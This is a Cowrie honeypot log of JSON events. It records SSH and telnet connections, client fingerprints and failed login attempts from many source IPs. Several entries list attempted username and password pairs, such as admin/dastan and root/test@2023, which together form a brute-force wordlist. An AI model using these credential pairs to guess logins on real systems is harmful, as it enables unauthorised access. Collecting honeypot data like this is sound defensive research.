{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:29.781600Z","src_ip":"47.86.95.62","session":"0892ffd39272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53875,"dst_ip":"10.17.0.5","dst_port":22,"session":"037589c9b9e2","protocol":"ssh","message":"New connection: 2.57.121.112:53875 (10.17.0.5:22) [session: 037589c9b9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:37.404852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:37.410063Z","src_ip":"2.57.121.112","session":"037589c9b9e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:37.510333Z","src_ip":"2.57.121.112","session":"037589c9b9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dastan","message":"login attempt [admin/dastan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:37.982939Z","src_ip":"2.57.121.112","session":"037589c9b9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"daryl","message":"login attempt [admin/daryl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:39.086564Z","src_ip":"2.57.121.112","session":"037589c9b9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"danny2","message":"login attempt [admin/danny2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:40.190614Z","src_ip":"2.57.121.112","session":"037589c9b9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dali","message":"login attempt [admin/dali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:41.293966Z","src_ip":"2.57.121.112","session":"037589c9b9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"daimler","message":"login attempt [admin/daimler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:42.396898Z","src_ip":"2.57.121.112","session":"037589c9b9e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:43.501312Z","src_ip":"2.57.121.112","session":"037589c9b9e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":11808,"dst_ip":"159.203.135.109","dst_port":22,"session":"595be1a58612","protocol":"ssh","message":"New connection: 165.154.23.26:11808 (159.203.135.109:22) [session: 595be1a58612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:50.852445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:50.857475Z","src_ip":"165.154.23.26","session":"595be1a58612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:51.083177Z","src_ip":"165.154.23.26","session":"595be1a58612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whmapi","password":"YourPassword@6942","message":"login attempt [whmapi/YourPassword@6942] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:51.993956Z","src_ip":"165.154.23.26","session":"595be1a58612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:48:53.222629Z","src_ip":"165.154.23.26","session":"595be1a58612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:01.629306Z","src_ip":"47.86.95.62","session":"3f77b4503e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":42248,"dst_ip":"10.17.0.5","dst_port":22,"session":"afdc91701018","protocol":"ssh","message":"New connection: 178.20.210.186:42248 (10.17.0.5:22) [session: afdc91701018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:17.703280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:17.708877Z","src_ip":"178.20.210.186","session":"afdc91701018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:17.808456Z","src_ip":"178.20.210.186","session":"afdc91701018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kodi","password":"kodi","message":"login attempt [kodi/kodi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:18.213332Z","src_ip":"178.20.210.186","session":"afdc91701018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:19.695705Z","src_ip":"178.20.210.186","session":"afdc91701018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":51628,"dst_ip":"159.203.135.109","dst_port":22,"session":"99b527dfcc8e","protocol":"ssh","message":"New connection: 209.99.184.143:51628 (159.203.135.109:22) [session: 99b527dfcc8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:38.374939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:38.379575Z","src_ip":"209.99.184.143","session":"99b527dfcc8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:38.473988Z","src_ip":"209.99.184.143","session":"99b527dfcc8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user002","password":"123456","message":"login attempt [user002/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:38.871044Z","src_ip":"209.99.184.143","session":"99b527dfcc8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":40122,"dst_ip":"159.203.135.109","dst_port":22,"session":"70fbe34f6cf7","protocol":"ssh","message":"New connection: 118.26.36.248:40122 (159.203.135.109:22) [session: 70fbe34f6cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:39.244404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:39.248697Z","src_ip":"118.26.36.248","session":"70fbe34f6cf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:39.466468Z","src_ip":"118.26.36.248","session":"70fbe34f6cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:39.964720Z","src_ip":"209.99.184.143","session":"99b527dfcc8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2023","message":"login attempt [root/test@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:40.374440Z","src_ip":"118.26.36.248","session":"70fbe34f6cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:41.596233Z","src_ip":"118.26.36.248","session":"70fbe34f6cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":60290,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c661260f863","protocol":"ssh","message":"New connection: 43.153.27.162:60290 (10.17.0.5:22) [session: 1c661260f863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:47.374007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:47.378528Z","src_ip":"43.153.27.162","session":"1c661260f863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:47.450541Z","src_ip":"43.153.27.162","session":"1c661260f863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:47.755729Z","src_ip":"43.153.27.162","session":"1c661260f863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:48.826973Z","src_ip":"43.153.27.162","session":"1c661260f863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33080,"dst_ip":"10.17.0.5","dst_port":22,"session":"f483dab88ca7","protocol":"ssh","message":"New connection: 47.86.95.62:33080 (10.17.0.5:22) [session: f483dab88ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:57.182626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:49:58.575752Z","src_ip":"47.86.95.62","session":"f483dab88ca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":58918,"dst_ip":"10.17.0.5","dst_port":22,"session":"74d8a2aba6b4","protocol":"ssh","message":"New connection: 20.12.41.6:58918 (10.17.0.5:22) [session: 74d8a2aba6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:01.471488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:01.477921Z","src_ip":"20.12.41.6","session":"74d8a2aba6b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:01.505860Z","src_ip":"20.12.41.6","session":"74d8a2aba6b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:01.612816Z","src_ip":"20.12.41.6","session":"74d8a2aba6b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:02.638169Z","src_ip":"20.12.41.6","session":"74d8a2aba6b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:08.003648Z","src_ip":"47.86.95.62","session":"f483dab88ca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.230.40","src_port":54698,"dst_ip":"10.17.0.5","dst_port":23,"session":"02120fb54c03","protocol":"telnet","message":"New connection: 103.148.230.40:54698 (10.17.0.5:23) [session: 02120fb54c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:09.814727Z"}
